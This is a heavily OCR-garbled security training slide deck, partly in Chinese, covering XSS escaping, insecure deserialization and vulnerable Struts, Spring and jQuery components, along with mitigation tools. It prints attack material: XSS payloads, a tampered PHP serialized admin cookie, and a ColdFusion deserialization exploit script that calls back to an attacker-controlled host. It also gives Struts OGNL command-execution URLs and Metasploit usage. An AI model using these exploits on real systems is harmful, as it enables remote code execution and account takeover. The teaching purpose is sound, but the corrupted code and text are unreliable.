_<script>alert(‘xssaﬁnttack!');<fscript> &1t;scriptigt;alert(fapos;XSS&#12354 ;Attack!&apos; )81t /scriptigt;
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Listing 1. Convert characters to HTML entity hame
public class EscapelUtils {

public static final HashMap m = new HashMap();

static {

m.put(34, "&quot;"); S/ =< - less-than

m.put (60, “&1t;™); S« - less-than

= m.put(62, “&gt;™); S = - greater-than
SfUser needs to map all html entities with their corresponding decimal wvalues.

S /Please refer to below tabhle for mapping of entities and integer value of a char

1
public static 5tring escapeHtml () {
String str = "«<script=alert(h"abch " )</ script>";
| try {

StringWriter writer = new StringwWriter({(int)
(str.length() = 1.5));

escape(writer, str);
System.out.printin(”encoded string is
return writer.tostring();

1} catch (IDException ioe) {
1oe. printstackTrace();
return null;

+ writer.to5tring() J;

'
b

public static void escape(Writer writer, String str) throws IOException {
int len = str.length();

for (int 1 = 0; 1 < len; i++) {
char c = str.charAt(i);
int ascii = {(Ant) c;

String entityName = (String) m.get(ascii);
1T (entityMame == null) {
if (c » Ox7F) {
writer.write("&2");
writer.write(Integer.toString(c, 10));
writer.write("; ");
T else {
writer.write(c);

T else {
writer.write(entityName);

h

http://www.ibm.com/developerworks/java/library/se-prevent/index.html| 126




— OWASP ESAPI

(Enterprise Security API)
(https://www.owasp.org/index.php/EASPI#tab=Home )

® LT
v’ Java EE
v  NET
v Classic ASP
v PHP
v ColdFusion & CFML
v' Phthon
v Haskell
® T g\‘. .

> https.//www.owasp.org/index.php/EASPI#
tab=Downloads

® XSS:

» XSS (Cross Site Scripting) Prevention
Cheat Sheet

> https.//www.owasp.org/index.php/XSS (C
ross_Site _Scripting) Prevention Cheat
Sheet

- [E Owazp.E zapi Mamezpace
¥ @ sccessController Class
+ @ tccessPeferencetap Class
+ @ Encoder Class
+ @ Encrptor Clazs
+ @ Ezapi Class
+ @ Httpltiities Class
+ @ IntusionD etector Class
¥ @ LogE ventTwpes Clazs
+ @ Logger Clazs
+ @ LogLevels Class
+ @ Fandomizer Class
+ @ SecurityConfiguration Clazs
+ @ Thieshold Class
+ @ Validator Class
= [m Owaszp.E zapi.Codecs Mamespace
+ @ BaseR4Codec Class
+ @ HirnlattributeCodec Class
+ @ HimiCodec Class
+ @ JavaScrptCodec Class
+ @ UrCodec Class
+ @ VbScrptCodec Class
7 @ “midttibuteCodec Class
+ @ “miCodec Class
+ @ Owazp.Ezapi.Emors Mamespace
+ @ wazp.Ezapilnterfaces Mamespace
+ @ wazp.EzapiWalidationF ules Mamespace
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Insecure Deserialization

>I:c§ X AT F ﬁ” :¥(de-serialize)w $~ i+
mbyte streamp % ﬁ%] > P FTENF P U
Irc & p R

v Remote code execution
v’ Access-control-related attacks

v Denial of Service(DoS)
Vi

Description

Data which is untrusted cannot be trusted to be well formed. Malformed data or unexpected data could be used to
abuse application logic, deny service, or execute arbitrary code, when deserialized.

https.//www.owasp.org/index.php/Deserialization _of untrusted data
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Serialization Basic

» To serialize an object

v/ to convertlits state|to Ia byte stream|so that the byte
stream can be reverted back into a copy of the object.

Serialization

 OBJECT STREAM

Deserialization

S YEL
P E TR RE % Cache ~ File ~ DB ....

& ‘?fw}ﬁ#ﬁ- RPC ~ Web Services ~ Message Brokers .....

ERiaFad 1) HTTP Cookies ~ Form Variables .....
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» Sample: File > Ul Object

Example Language: Java

try {

File file = new File("object.obj");

ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();

» Sample: Authentication Token

Example Language: Python

try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):

try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature’], token['data'], getSecretkKey(}):

raise AuthFail

self.secure_data = token['data’]
except:

raise AuthFail
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Attack Samples

» Sample: Super Cookie for Access Control

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;8:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

U (T 1)
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;8:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

PJAVAR Jr? % % >0k K7 k%
v’ http://www.digicentre.com.tw/industry detail.php?id=37
Vod 3t Javak SHBFIER] FF o A b Breturn B R #
TR FE > BRE B Af2H byteStreampF ¥ ¥ gt error2. o &
#-Payload > #3{ {7 - 'é;é-f(;&:?—‘ﬁ FREERLEHENY 4 PRI
B NE Y AR NREE S BV et &3t e £ 5 Gadget Chain o
B # 4 i7 Runtime.getRuntime().execOM A 7T L B2 A5 o 132




2 0 1 8. 3 mNet Q STORAGE CXO HARDWARE

flaw.

EDITION: -

BUILD 2018 MICROSOFT EMBRACES ANDROID AND 105, EXTENDS TIMELINE FEATURE

Cisco: Update now to fix critical hardcoded
password bug, remote code execution flaw

Cisco patches two serious authentication bugs and a Java deserialization

Security

q_ By Liam Tung | March 8, 2018 -- 14:20 GMT {2220 GMT~08:00) | Topic

MICROSOFT  INNOVATION MORE

Using the hardcoded password an attacker

could log in to thg PCP'$ Linux operating system via SSH as a low-

privileged user, and from there, elevate to root

(ACS

The second critical flaw affects Cisco's Secure Access Control System

and could allow a remote, unauthenticated attacker to execute

arbitrary comments on the device with roof privileges
Download today: IT leader's guide to cyberattack recovery

"The vulnerability is due to insecure deserialization of user-supplied

content by the affected software An attacker could exploit this

vulnerability by sending a crafted serialized Java object,” Cisco said




EDITION: -

STORAGE CXO HARDWARE

MICROSOFT  INNOVATION MORE

seriously.

a By Charlie Osborme for Zero

BUILD 2018 MICROSOFT EMBRACES ANDROID AND 10S, EXTENDS TIMELINE FEATURE

Adobe patches critical vulnerabilities in
Flash, InDesign

Workstation users should treat the latest Adobe security bulletin

Day | April 11, 2018 -- 0Q

A set of vulnerabilities impacting [Coldfusion

has also been resolved. The

bugs impact the 2016 ColdFusion release update 5 and earlier, as well as

ColdFusion 11, update 13 and earlier versions

Two critical vulnerabilities, CVE-2018-493g and CVE-2018-4942, are bugs

which permit the deserialization of untrusted

data and unsafe XML

external entity processing. If exploited. these

security flaws may lead to

remote code execution and information disclosure.

# Exploit Title: Adobe Coldfusion BlazeDS Java Object Deserislization RCE
# Date: February 6, 2018

# Exploit Author: Faisal Tamees
# Company: Depth Security (http
# Version: Adobe Coldfusi
# Tested On: Windows 1@ Ente
# CVE: CVE-2017-3866

# Advisory: htf ://helpx.adobe.com/security/products/coldfusion/apsb17-14. html
# Category: remote

@DreadSystems)
hsecurity.com)

83.292866)

ise (10.0.15063)

# Notes:

# This is a two-stage deserialization exploit. The code below is the first stage.
# You will need = JRMPListener (ysoserial) listening at callback IP:callback part.
# After firing this exploit, and once the target server comnects back,

# JRMPListener will deliver the secondary payload for RCE.

import struct
import sys
import requests

if len(sys.argv) != 5:
print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback port"
quit()

target_IP = sys.argv[1]
target_port = sys.argv[2]
callback 1P = sys.argv[3]
callback port = sys.argv[4]

amf_payload = ' \x8@:@3\x00\ P AaFFod 1\@a’ + \
"\x@7Yx33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len{callback_IP)) + callback_IP + \
struct.pack(‘>I", int(callback_port)) + \
"\ INBa\XTE KT \XT chxde s, Shixba k4o x1d\ k81 \x88\xB1\ 106 "}

url = "http://" + target_IP + “:" + target_port + "/flex2gateway/amf"
headers = {'Content-Type': 'application/x-amf'
response = requests.post{url, headers=headers, dats=amf payload, wverify=Falze}




nl'lnn;i Home Exploits Shellcode Papers Google Hacking Database Submit Search

26 total entries

Date « D A V Title Platform Author
20180422 & - (@ Oracle WeblogicServer 10.3.6.0/ 12.1.3.0/ 12.2.1.2 / 12.2.1.3 - Deserialization Remote... Multiple brianwr
20180207 & - (O Adobe Coldfusion 11.0.03.252866 - BlazeD5 Java Object Deserialization Remote Code... Windows Faisal Tameesh o
2018-01-30 & - (& HPEIMC?7.3 - RMI Java Deserialization Windows Chris Lyne
2018-01-2% § - «F Oracle Weblogic - wis-wsat Component Deserialization Remote Code Execution (Metasploit) Multiple Metasploit
201712419 § - & Jenkins - XStream Groowy classpath Deserialization (Metasplait) Multiple Metasplait
2017-08-27 & - (& Oracle Weblogic Server 10.3.6.0 - Java Deserialization Remaote Code Execution lava SlidingWindow
20170821 & - (O ERSDataSystem 1.8.1 - Java Deserialization Windows West Shepherd
2017-09-19 § - (@ HPE<7.2-)ava Deserialization Java Raphael Kuhn
20170730 & - @ lenkins < 1.650 - Java Deserialization Java Janusz...
2017-06-10 § - & VMware vsSphere Data Protection 5.x/6.x - Java Deserialization Multipie Kelly Correll

o 20170505 § - (O CloudBees |enkins 2.32.1 - Java Deserialization lava SecuriTeam
r'l 200170327 @ - «F Github Enterprise - Default Session Sacret and Deserialization (Metasploit) Linu Metasploit
| 2017-03-15 B - «F |IBM WebSphere - RCE Java Deserialization (Metasploit) Windows Metasploit
- 2017-020% § - - Exploiting Node.js deserialization bug for Remote Code Exzcution Papers Ajin Abraham
2016-11-28 & - & Red Hat|Boss EAP - Deserialization of Untrusted Data lava
20160720 & - (O Websphere/|Boss/OpeniNMS/Symantec Endpoint Protection Manager - Java Deserialization.., Multiple paikhil...
20151215 & - o lenkins CLI - RMI Java Deserialization (Metasploit) lava Metasploit
2013-01-28¢ J - «F Rubyon Rails-]SON Processor YAML Deserialization Code Execution (Metasploit) Multiple Metasploit
"“ 2013-01-10 § - & Rubyon Rails- XML Processor YAML Deserialization Code Execution (Metasploit) Multiple Metasploit
- 2010-09-27 § - s Java-RMiConnectionimpl Deserialization Privilege Escalation (Metasploit) Multiple Metasploit
I 2010-08-20 § - & 5unjava-Calendar Deserialization (Metasploit) Multipie Metasploit
2009-05-20 § - «F Apple Mac OSX - lava applet Remote Deseriglization Remote (2) O5S% Landon Fuller
20081203 § - < 5Sunjava Runtime and Development Kit 6 Update 10 - Calendar Deserialization (Metasploit) Multiple sf
20070325 § [0 < PHP<4,4.5/5.2.1 -'_SESSION' Deserialization Overwrite Lintix Stefan Esser
20070304 § [0l < PHP<=4.4,5/52.1- WDDX Session Deserialization Information Leak Multiple Stefan Esser
2007-03-04 § [[E < PHP =4.4.5/5.2.1-PHP_binary Session Deserialization Information Leak Multiple Stefan Esser
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> [OWASP]: “The only safe architectural pattern is not to
accept serialized objects from untrusted sources or to use
serialization mediums that only permit primitive data

> H i

v 2 8% % JSON ~ XML # % * & 3%
v ;%ﬁg]“i%ﬁ}i (Gl4ris E B & F 184
v

For Java:
— Use a safe replacement for the generic readObject() method .
— Use the “transient” keyword to denote nonserializable fields.
— Explicitly define a final object() to prevent deserialization.

\

P'Q?E_L?E’ % /_frgr‘\:i V"' = private final vold readObject(ObjectInputStream in) throws java.lo.IOException {
Fj throw new java.io.IOException("Cannot be deserialized");

AN

UHFAE LT }
v R 745k & Log

- FTHAEHE

- RAHEE
v £ 7 de-serializationsh i BT H £ F 5 R ¥ R T A
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v Tools https://www.owasp.org/index.php/Deserialization_Cheat Sheet

Mitigation Tools/Libraries

« Java secure deserialization library https://github.com/ikkisoft/SerialKiller=

« SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT &
« NotSoSerial https://github.com/kantega/notsoserial&

Detection Tools

« Java deserialization cheat sheet aimed at pen testers#

« A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.&
« Java De-serialization toolkits https://github.com/brianwrf/hackUtils &

« Java de-serialization tool hitps://github.com/frohoff/ysoserial &

« Java de-serialization detection by DNS https:/github.com/GoSeecure/break-fast-serial=

= BUID Suile exiension hitipg:/github comyfedericodotia/java-Desgralizalion-scanner/releases®

« Java secure deserialization library https:/github.com/ikkisoft/SerialKillers
« Serianalyzer IS a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer®

« Payload generator https://github.com/mbechler/marshalsec#
« Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjodas
« Burp Suite Extension
« JavaSerialKiller hitps://github.com/NetSPl/JavaSerialKillers
« Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanners
« Burp-ysoserial https://github.com/summitt/burp-ysoserial
= SuperSerial https://github.com/DirectDefense/SuperSerial@

« SuperSerial-Active hitps://github.com/DireciDefense/SuperSerial-Active®
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v Tools(cont.)

— Java secure deserialization library : “SerialKiller”
» https://github.com/ikkisoft/SerialKiller

How to protect your application with SerialKiller

1. Download the latest version of the SerialKiller's Jar. Alternatively, this library is also available on Maven Central

2. Import SerialKiller's Jar in your project

3. Replace your deserialization ObjectinputStream with SerialKiller

4. Tune the configuration file, based on your application requirements
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A9 - Using Components with Known
Vulnerabilities
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Casel: Struts

nnrnnsii Home Exploits Shellcode Papers Google Hacking Database Submit Search
28 total entries
: ' Date = D A V Tite Platfiorm Author
] 2017-0908 & - (9 ApacheStruts 201 €2333/2.5< 2510 - Arbitrary Code Execution Multple briarmwrf
i : - .:-; 70906 § [F @ Apache Strums 2.5 <2512 - REST Plugin XStream Remote Code Exenution Linux Warflop
| 20170707 4 - O Apadhe Struts 2.3 x Showease - Remote Code Execution Multipie Vex Woo
i 2017-06-06 1§ - (& Apadhe Struts - REST Plugin With Dynamic Method Invacation Remote Code Execution Multiple mixawic
[ 20170315 4 -« Apadhe Struts 235 <2331 /25« 25.10-"Iskarta’ Multipart Parser OGNL Injection_. Multipie Metasploit
2703407 B - (O ApacheStruts 23.5<2331/25<2510- Remote Code Execution Linux Vex Woo
2016-06-10 4 - ¥ Apache Struts - REST Plugin With Dynamic Meathod imvocation Remote Code Execution... Multipte Metasploit
- 20160502 | - ¢ Apache Struts - Dynamic Method Invocation Remote Code Execution {Metasploit) Linux Metasploit
20040502 | - ¥ Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit) Multipie Metasploit
: [l ] ’ 2004-03-p6 4 -« Apache Struts <1.3.10/ <2.3.16.2 - OassLoader Manipulation Remote Code Execution._ Multipie Metasploit
: \ 2014-0205 & - & Apache Struts - Developer Mode OGMNL Execution {Metasploit} lava Metasploit
: 20040104 4 - & ApacheStruts2 2.0.0 < 23.15 - Prefixed Parameters OGNL Injection Multipie Takeshi Terada
I 2013-07-27 & - & Apache Struts 2 - DefaultActionMapper Prefixes OGHL Code Execution (Metasploit) Multiple Metasploit
20130716 | - ¢ Apache Souis 2.2.3 - Muktiple Open Redirections Multipie Takeshi Terada
20130605 -« Apache Struts - OGNL Expression Injection Multipie Jon Passki
2013-06-05 § - o Apadhe Struts - indudeParams Remote Code Execution (Metasploit) Multipie Metasploit
200303-22  § - % Apache Struts -'Parametersinterceptor’ Remote Code Exetution (Metasploit) Multipie Metasploit
20120823 | - & Apache Struts 2 - 5kl Mame Remote Code Execution Multipie bodzx:
20020605 | - ¥ Apache Struts 2.2.1.17 - Remote Command Execution (Metasploit) Multiple Metasploit
201203-23 | - & Apache Struts 2.0 - ¥5LTResult java' Arbitrary File Upload Java voidloafer
2mz20202 4 - & Apacdhe Struts - Multiple Persistent Cross-5ite Scripting Vulnerabilities Multipie SecPod Research
202006 4 - & Apache Struts 2 <2.3.1 - Multiple Vulnerabilities Multipie SEC Consult
2011-1207 & - & Apache Struts 2.0/9/2.1.8 - Session Tampering Security Bypass Multiple Hisato Killing
20110819 | - & Apache Struts < 2.2.0- Remote Command Execution (Metasploit) Multiple Metasploit
2011-05-10 & - o Apache Soruts 2.0.0<2.2.1.1 - XWork 'sisubmit’ HTML Tag Cross-Site Scripting Multiple Dr. Marian...
2010-07-14 4 - (@ Smus25Work < 2.2 0 - Remote Command Execution Multipie Meder__
20081104 § - Struts 2011 - Multiple Directory Traversal Vulnerabilities Multipie Csaba Barta
2005-11-21  § - « Apache Struts 1.2.7 - Error Response Cross-Site Scripting Multipie Irene Abezgaur 14 1




Casel: Struts

» CVE-2013-2251: Remote Code Execution

v R RER A Struts 2.0.0 - Struts 2.3.15

v'Struts2 ¥ £ 32— & Prefix BANEF L B v 0> 8]
w , 4o action, redirect, redirectAction &

Ve AR B T LG iR 0 > g
Iph E ¥ Lt $lognl exp) 97558 k#H 7 OGNL

— 4 redirectAction: ${123*123} 4 zk g Bt i 3| /15129.action °
B F i & 123*%123 5 AR PR B E 5 5 |
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» Sample Test URLSs

v’ Simple Expression - the parameter names are evaluated
as OGNL.

— http://host/struts2-blank/example/X.action?action: %25 {3*4}
— http://host/struts2-showcase/employee/save.action?redirect:%25 {3*4}

v Command Execution

— http://host/struts2-
blank/example/X.action?action: %25 {(new+java.lang.ProcessBuilder(new+java.l
ang.String[]{'command’','goes','here'})).start()}

— http://host/struts2-
showcase/employee/save.action?redirect: %25 {(new+java.lang.ProcessBuilder(n
ew+java.lang.String[]{'command’,'goes','here'})).start()}

— http://host/struts2-
showcase/employee/save.action?redirectAction:%?25 {(new+java.lang.ProcessBu
ilder(new+java.lang.String[]{'command’,'goes','here'})).start()}



@ 52016 x
C Y | @ struts.apache.org/docs/s2-016.html

Home > Security Bulletins > S2-016

Apache Struts 2 Documentation

52-016

Summary

A wulnerability introduced by manipulating parameters prefixed with "action:”/"redirect:”/"redirectAction:” allows remote command execution

Who should read this  All Struts 2 developers and users
Impact of vulnerability Remote command execution
Maximum security rating Highly Critical L{R ‘% i %‘:%
Recommendation Developers should immediately upgrade to Struts 2.3.15.1
Affected Software Struts 2.0.0 - Struts 2.3.15
Reporter Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CWE Identifier CVE-2013-2251
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Again: 2016

» CVE-2016-3081 : Dynamic Method

Invocation Remote Code Execution
v R ATE A
— Apache Struts 2.3.20 ~ 2.3.28
(except 2.3.20.3 and 2.3.24.3)
v 33 Bhdy if
— Remote Code Execution can be performed via method: prefix
when Dynamic Method Invocation is enabled.

v i3 IR A
—2.3.20.3 ~ 2.3.24.3 ~ 2.3.28.1
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C 0O & www.securityfocus.com/bid/87327

= =
o SeCU rltyFnc“sT - e » About » Contact

| info || discussion || exploit || solution || references |

Apache Struts CVE-2016-3081 Remote Code Execution Vulnerability

—
_—y Bugtraq ID: 87327
Class: Unknown
Rl CVE: CVE-2016-3081
|t
Remote: Yes
” Local: No
A Published: Apr 22 2016 12:00AM
Updated: Oct 26 2016 12:09AM
Credit: MNike Zheng
nE Vulnerable: Cracle Siebel Apps - E-Billing 7.1
Oracle MICROS Retail XBRi Loss Prevention 10.8.1
W Oracle MICROS Retail XBRi Loss Prevention 10.8
w— Oracle MICROS Retail XBRi Loss Prevention 10.7
r

Oracle MICROS Retail XBRi Loss Prevention 10.6
|' Oracle MICROS Retail XBRi Loss Prevention 10.5
F Oracle MICROS Retail XBRi Loss Prevention 10.0.1
| Oracle FLEXCUBE Private Banking 12.1

COracle FLEXCUBE Private Banking 12.0.3

Oracle FLEXCUBE Private Banking 12.0.2

Oracle FLEXCUBE Private Banking 12.0.1

Oracle FLEXCUBE Private Banking 2.2

COracle FLEXCUBE Private Banking 2.0.1

Oracle FLEXCUBE Private Banking 2.0

Huawei OceanStor Onebox V100R003C10
Huawei OceanStor N8500 V200R001C91SPCO01
Huawei OceanStor N8500 V200R001C91SPC00
Huawei OceanStor N8500 V200R001C91SPC205
Huawei OceanStor N8500 Y200R001C91

Huawei OceanStor N8500 V200R001C09SPCS505
Huawei OceanStor N8500 V200R001C09

Huawei OceanStor 2000 V300R005C00

Huawei OceanStor 9000 V100R001C30

Huawei OceanStor 9000 V100R001CO1

Huawei OceanStor 5800 V3 0

Huawei OceanStor 5300 V3 V300R003C00
Huawei OceanStor 5300 V3 V300R002C10
Huawei OceanStor 5300 V3 V300R001C20
Huawei OceanStor 18800 V300R003C10

Llvy—yuaeemi anCEae 1000 WD AISOODANDZY 0 Copyrl‘ght OfST/




& Home Exploits Shellcode Papers Google Hacking Database Submit Search

Apache Struts - Dynamic Method Invocation Remote Code
Execution (Metasploit)

EDB-1D: 39756 Author: Metasploit Published: 2016-05-02
CVE: CVE-2016-3081  Type: Remote Platform: Linux
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framewark
E-DB Verified: ¢ Exploit; & Download /[ View Raw  Vulnerable App: N/A
« Previous Exploit Next Exploit »
b

# This module reguires Metaspleoit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core’

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Mame’ =» 'Apache Struts Dynamic Method Invecation
‘Description’ =» %qgq

This module exploits a remote command execution vulnerabil| > use explult,"multl,"httpfstl‘uts dmi exec

version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3 c g =

Execution can be performed via method: prefix when Dynamig] explcllt{ ) > show ‘tar‘gets

is enabled. i i,
"Author’ => "Mixawk® ], = =
'License’ = r~[15F !_ICENSEil exploit( ) > set TARGET <target-id>
'References’ =>

exploit( ) > show options

[ "CVvE", '2016-3881' ],
[ "URL", "https://uwww.seebug.org/vuldb/ssvid-91383" ]

exploit( ) > exploit

https.//www.rapid7.com/db/modules/exploit/multi/http/struts dmi_exec




Again: 2017

#iE EdwefHl it SR  BigData Cloud DevOps % Video Gfs®

Apache Struts2BERIESEERE , HITCON Zerodayi@ik : £
MEEEEZ

{EEStruts 2.3.5 - Struts 2.3.31 - Struts 2.5 ~ Struts 2.5. 105 @ EFEERES  SIBZIBEqLEEETE
I TEARNS2-4SFERERSE ol ENREERNE - BEARRELZERE

2 0 1 7 . 3 88 AiThomes

{ reroday.hitcon.org | HITCON ZeroDay a
I

It

RO 12 {2 Al AR RS

ke LR«

e :

Struts2 52-045 &R (CVE-2017-5638) St Sy
i HITCON ZeroDay BB 20170307 s

&

am

18 HITCON ZeroDay BERIUES Struts2 52-045 RiEEME « IR L PoC WBEIERRS  EERRASERERL -
RELRESIRERES: BRER -

FEEEM : Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 25,10

ERME AR : Struts 2.3.32 B Struts 2.5.10.1

RAEE  NYFTHBRENGERNS  STERERS  AVAEFIRM -

FRAWER 888 hitos/owik g W

WIRIER iThome BEN

vHA2E
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Non-Stop....

¥ Apache Struts2 Showe: X

C 0} | @ pentestit.com/apache-struts2-showcase-remote-code-axscution-s2-04

GOOGLE DORKS! SHODAN QUERIES! MALWARE SOURCES

PenTestIT

Your source for all things Information

Security!

You are here: Home / Web Application Security / Apacii %
Struts2 Showcase Remote Code Execution! (52-048)

Apache Struts2
Showcase Remote Code
Execution! (S2-048)

by Black. Updated on July 8 2077 @pentestit 6156 views

Seems like yesterday when S2-045, the Jakarta Multipart
vulnerahility was being actively exploited in the wild which
allowed remote attackers to execute arbitrary code. A few
hours ago a new equally exploitable advisory — S2-048 was
made public by the Apache foundation! This is a quick write
up to see if we can test an exploit for the Apache Struts2
vulnerability and create a proof of concept code. This
vulnerability has been assigned: CVE-2017-9791

2017.7

From the above information we know that the vulnerability
exists in the Apache Struts 2.3.x Showcase application, which
is accessible at /strutsZ-showease/. The fix on Apache page
also mentions the following in the solution:

Always use resource keys instead of passing a raw message
to the ActionMessage as shown below, never pass a raw
value directly

Possible ways to protect
against Apache Struts2 S2-048
vulnerability:

Follow the solution Apache menticns. | would rather say,
disable the Showcase app. Updating to Apache Struts
2.5.10.1 should also help.




REF! RENEZSH7EApache Struts 2 2Kl

EENEEEIOEASBLES  AIELEESELER « —ER7EApache Struts 2FE « E+—(ERE
SED008ELI BRIFT A SStruts iR + L) StrutS@RESTLa‘.’EHiHTI_QJF;EHE?'{  EREE R EREE R

H5 EEE - 2017. 9

i | 2007-09-27 8% O TR 1=l AiThomes s E [

Oracle Security Alert Advisory - CVE-2017-9805

=)

E

Description

The Apache Foundation's fixes for CVE-2017-5838, an Apache Struts 2 wulneraliil
Dracle 1o its customers in the Ap N7

v identified by Eguiax in relation (o Equifax’s recent secunty incident, were distribub
Critical Palch Update, and should have already been appked to customer systems

Subsequent fo the Equifax

o787, CVE-2017-670¢

the -‘-r'.:.a r-: '-_'J ':i-r". released fixes for 3 number of addifonal Apache Sin E-2017-7672

Iy
we
|1

-9804, and CVE-2017-12611), Oracle is distnbuling these fi i of our cu

238 fx

CloudMosa
TEHN

Oracle strongly recommends that the fixes contamed in this Secunty Alert be 3

hout delay
Please note that the vuinerabilties In thes Sacurity Alert are scored using version 3.0 of Common Vuinerability Scornng
This Security Alert

is atso avail forms

1o the Common Vulnerability Reporiing Format (CV

More information about Oracle’

CWVRF is avaiiable at hiipofwan cie comytechnety sisecuntyic 34 himBCVRF
]
Security Alert $upportld Products and Versions o
Patches released through the Security Alert program ara provided only for product vers:ons that are covered under the Preamier Support or Extended Support phases ¢ {RFIHEAE 1
Lifetime Support Palicy. We recommend that customers plan product upgrades to ensure that patches released through the Crtical Patch Update program are avallat
versions they are curmently running

Prod

fhat earier vers

uct releases that are not under Premier Support

s of affected releases are als

rended Support are not tested for the presence of vulnerabiibes addressed by this Secunty "i':’--"}. FOwWever,

etommends that cusiomers upgrade to supported versions ri‘xn i

d by these nerabilities A sult Oracle
= y these vuinerabilites. AS a rest racke
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STRUTS 2 VERSIONS IN USE, MARCH 2017

STRUTS-SHOCK

HE Vulnotable to Struts-Shock

-Shoek

B ot Vulnerable te Struts

%20l &%
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Struts 2 Version

J&i: [Veracode] “State of Software Security 2017~

Y

1
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Case2: Spring

EKPLOIT
DATABASE

Hom

m

Exploits Shellcode Papers Google Hacking Database Submit Search

=, You can even search by CVE and OSVD

Search the Exploit Database

m
T

b SEARCH

Spring TR

==
Hif

6 total entries

Date = P A V Title Platform Author

2018-03-15 & - {3 Spring 3&1@ REST = E.gf' {ingalls SRS/ 3.0.1 (Kay SR1) - PATCH Request Remote Code... |ava Antonio...
2011-09-09 & Spring Security - HTTP Header Injection Multiple David Mas
2010-05-18 & Spring Framew - Arbitrary code Execution Multiple Meder...
2010-03-23 - & SpringSource (Multiple Products) - Multiple HTML Injection Vulnerahbilities PHP aron Kulick
2010-03-15 - & iPhone Springboard - Malformed Charactar Crash (PoC) Hardware Chase Higgins
2002-07-17 & Macromedia Sitespring 1.2 - Default Error Page Cross-Site Scripting ISP Peter GrAlandi
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Case4: |Query

CVE Details

The ultivaate security vulnerability datasource

Log In Register

Switch to https://
Home

Browse :
\endors
Products
Vulnerabilities By Dats
Wulnerabilities By Type

Jquery : Vulnerability Statistics

Wulnerabilities (8)  Search for products of Jquery

Products (3)

Vulnerability Trends Over Time

Reports : # of Code Memo L
CVSS Score Report LD Vulnerabilities Bos Execution o Corruptrizn Injj:tion
CVSS Score
Distribution 001 L
Search : 2013 1 1
Vendor Search 2014 1 i
Prod},—'ct Search 2017 1 1
Version Search
Vulnerability Search 2018 4 s e
By Microsoft Total 8 i | 8
References % Of All 12.5 0.0 0.0 0.0 0.0 75.0
Top 50 :
Vendors

Vendor Cvss Scores

CVSS Scores Report

Vulnerability Feeds & WidgetsNew |G renipm,

Possible matches for this vendor  Related Metasploit Modules

it
Directory B Bypass Gain Gain File #of
esponse ; : S CSRF Z %
Traversal Splitti something Information Privileges Inclusion exploits
n

Jauery : Security Vulnerabilities (Cross Site Scripting (X$8))

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9
9 Sort Results By ; CVE Number Descending CVE Mumber Ascending CVSS Score Descending  Number Of Exploits Descending

Copy Results Download Results

# CVEID CWE #of Vulnerability Publish Update Score Gained Access  Access Complexity Authentication Conf. Integ. Avail.
D Exploits Type(s) Date Date Level
1 CVE-2016-7103 78 X585 2017-03-15 2018-01-04 4.3 Nene Remote Medium  Not required None Partial None

Cross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText parameter of the
dialog function.
Remote Medium  Not reguired None Partial Mone

2 CVE-2015-9251 79 X85 2018-01-18 2018-02-02 4.3 None

jQuery before 3.0.0 is vulnerable to Cross-site Scripting (%SS) attacks when a cross-domain Ajax request is performed without the dataType option, causing
text/javascript responses to be executed.
3 CVE-2014-6071 79 X585 2018-01-16 2018-02-01

jQuery 1.4.2 allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to use of the text method inside after.

4.3 Nene Remote Medium  Not required None Partial None

4 CVE-2012-6708 79 %8S 2018-01-18 2018-02-02 4.3 None Remote Medium  Not reguired None Partial None

jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strinput) function does not differentiate selectors from HTML in a reliable fashion. In
vulnerable versions, jQuery determined whether the input was HTML by looking for the "<’ character anywhere in the string, giving attackers more flexibility when
attempting to construct a malicious payload. In fixed versions, jQuery only deems the input to be HTML if it explicitly starts with the '<' character, limiting exploitability
only to attackers who can control the beginning of a string, which is far less commeon.

5 CVE-2011-4969 79 X85 2013-03-08 2016-11-28 4.3

Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or
HTML via a crafted tag.

None Remote Medium  Not reguired None Partial None

6 CVE-2010-5312 79 %S5 2014-11-24 2017-09-07 4.3 None Remote Medium  Not required None Partial Mone

Cross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in the Dialog widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or
HTML via the title option.

Total number of vulnerabilities : 6 Page : 1 (This Page)




<html>
<head>
<title=Jquery X35 Test 1</title=
<script type="text/javascript” . . .
src="hitps //ajax.googleapis. com/ajax/libs/jquery/1.11. 3/jquery. min.js"> Mow, use this HTML page with file://C:/Jquery.html#<video><source/onerror=alert{1)>
<Iscript> | Jquery XSS Test 1 U
iscript?} ‘- filee/ //CefJquery. htmi# <video> <source/onerror=alert{1)> c | @ ' b:-th\:-_k P|
